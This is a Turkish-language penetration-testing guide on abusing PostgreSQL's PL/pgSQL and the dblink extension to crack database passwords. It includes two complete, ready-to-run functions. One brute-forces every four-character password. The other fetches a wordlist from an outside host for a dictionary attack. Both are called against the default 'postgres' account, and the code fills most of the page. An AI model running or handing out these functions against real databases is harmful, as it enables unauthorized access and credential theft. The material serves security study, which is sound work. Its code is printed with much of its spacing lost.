PL/pgSQL, SQL'in yeteneklerini aşantam özellikli bir programlama dilidir ve gelişmiş prosedürel kontrol sunar. Bu, döngülerin ve çeşitli kontrol yapıların kullanımını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir, bu da veritabanı ortamındaki işlemlerin kapsamını genişletir.
Bu dili, PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvetle kırmasını istemek için kötüye kullanabilirsiniz, ancak veritabanında mevcut olmalıdır. Mevcut olup olmadığını kontrol etmek için:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Varsayılan olarak, fonksiyon oluşturmak, PUBLIC'a verilen bir ayrıcalıktır, burada PUBLIC, o veritabanı sistemindeki her kullanıcıyı ifade eder. Bunu önlemek için, yönetici PUBLIC alanından USAGE ayrıcalığını geri almış olabilirdi:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
Bu durumda, önceki sorgumuz farklı sonuçlar verecektir:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Not edin ki aşağıdaki scriptin çalışması için dblink fonksiyonu mevcut olmalıdır. Eğer mevcut değilse, onu oluşturmayı deneyebilirsiniz.
CREATE EXTENSION dblink;
Şifre Kaba Kuvvet
İşte 4 karakterli bir şifre kaba kuvvet saldırısını nasıl gerçekleştirebileceğiniz:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Not edin ki, 4 karakteri brute-force yapmak bile birkaç dakika sürebilir.
Ayrıca bir kelime listesi indirebilir ve yalnızca bu şifreleri deneyebilirsiniz (sözlük saldırısı):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');